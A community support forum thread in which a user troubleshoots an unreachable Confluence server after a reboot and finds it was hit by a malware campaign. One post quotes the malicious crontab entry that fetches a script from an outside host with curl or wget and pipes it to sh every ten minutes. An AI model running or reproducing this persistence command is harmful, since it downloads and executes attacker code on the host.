Rebooted Server and now Confluence giving "This site can’t be reached" error

Ken Ducey April 19, 2019

We have Confluence and Jira installed on the same server.  We recently had to reboot the server.  Jira works fine, but when we click on the Confluence url (http://ourip:8090/display/TEC/Development+Space) we get an error:

This site can’t be reached

refused to connect.

ERR_CONNECTION_REFUSED

Can you help me find out what is causing this,, and how I can troubleshoot this?

thanks,
Ken

 

3 answers

0 votes
Daniel Eads
Atlassian Team
Atlassian Team members are employees working across the company in a wide variety of roles.
April 22, 2019

Hey Ken,

I would be interested in knowing what version of Confluence you're on, and if your server is accessible over the internet. We recently saw an attack against a security vulnerability in most versions of Confluence that prevents Confluence from starting up on infected servers. I've written an article about it here that will be useful in determining if you are affected.

Have a look at let us know if you still need help after reading the article.

Thanks,
Daniel | Atlassian Support

Ken Ducey April 22, 2019

Thanks.

The server is http://t.hamlethub.com/ As you can see, you can access the server, in addition to being able to access Jira. 

I am fairly certain we are using the most recent version of Confluence. I will read the article.

FWIW, the reason I rebooted the server is due to a message AWS sent me suggesting it had been hacked.  We did have SSH port 22 open, and that is now closed. (message below)

"We've received a report(s) that your AWS resource(s) listed in the 'Affected resources' tab has been implicated in activity which resembles attempts to access remote hosts on the internet without authorization."

I am not sure this is related, but FYI.

Ken Ducey April 22, 2019

Yikes!

The following was in my crontab:

*/10 * * * * (curl -fsSL https://dd.heheda.tk/i.jpg||wget -q -O- https://dd.heheda.tk/i.jpg)|sh

I will use the kerberods remover as per your article.  

If I reboot, will it kill any processes?  I could not find any using the confluence user.

Thanks!

Ken Ducey April 22, 2019

I am not great with linux.  I only have Jira and Confluence installed on this server.  I can have everyone log off

The malware checker found something in a file in the tmp folder.  I am not sure which of the files in that folder are valid, and which may be malware. Is it possible to simply delete everything in that folder?

Thanks,

Ken

Ken Ducey April 23, 2019

I believe I have cleaned up the malware, however the site is still down.  Do I need to reinstall?

0 votes
Sandesh Shetty
Rising Star
Rising Star
Rising Stars are recognized for providing high-quality answers to other users. Rising Stars receive a certificate of achievement and are on the path to becoming Community Leaders.
April 19, 2019
Ken Ducey April 22, 2019

I did go through most of that list, however I am not receiving any of those error messages.  It appears to start correctly, but I just can't access it from the browser..

Sandesh Shetty
Rising Star
Rising Star
Rising Stars are recognized for providing high-quality answers to other users. Rising Stars receive a certificate of achievement and are on the path to becoming Community Leaders.
April 23, 2019

@Ken Ducey 

You can just try -> Go to Confluence Installation directory and run bin/startup.sh

Ken Ducey April 23, 2019

I did that, and it appeared to run with no errors. Yet the browser still gives me the message above.  The ports are open.  I do believe I was hit by the malware (see below), but not sure how to repair it after I remove the malware.

Jero Dungog March 2, 2022

@Ken Ducey I am having this exact issue right now.
Can you share with me some of the details of your issue?

Thank you!

Ken Ducey March 2, 2022

Luke, I eventually did a reinstall.  However, I have ad the error since then, and sometimes simply restarting confluence and restarting nginx works

Cd /opt/atlassian/confluence/bin
sudo sh start-confluence.sh
sudo service nginx reload

0 votes
Craig Castle-Mead
Rising Star
Rising Star
Rising Stars are recognized for providing high-quality answers to other users. Rising Stars receive a certificate of achievement and are on the path to becoming Community Leaders.
April 19, 2019

Hi Ken,

My guess would be that Confluence wasn’t configured to start on boot (at all, or correctly).

 

https://confluence.atlassian.com/doc/start-and-stop-confluence-838416264.html should be a good start.

 

CCM

Ken Ducey April 22, 2019

Thanks, I started it from the command line, and it appears to start correctly but I cannot access it from my web browser.  I checked the error files and they do not appear to contain any errors.

I started it using sudo sh start-confluence.sh and had no luck.  I then switched to user confluence1 and used the same command without sudo (sh start-confluence.sh) and still cannot access it from the browser.

I am using the same url I have used multiple times before rebooting.  

Any hints would be very much appreciated.

Ken

Suggest an answer

Log in or Sign up to answer
TAGS
AUG Leaders

Atlassian Community Events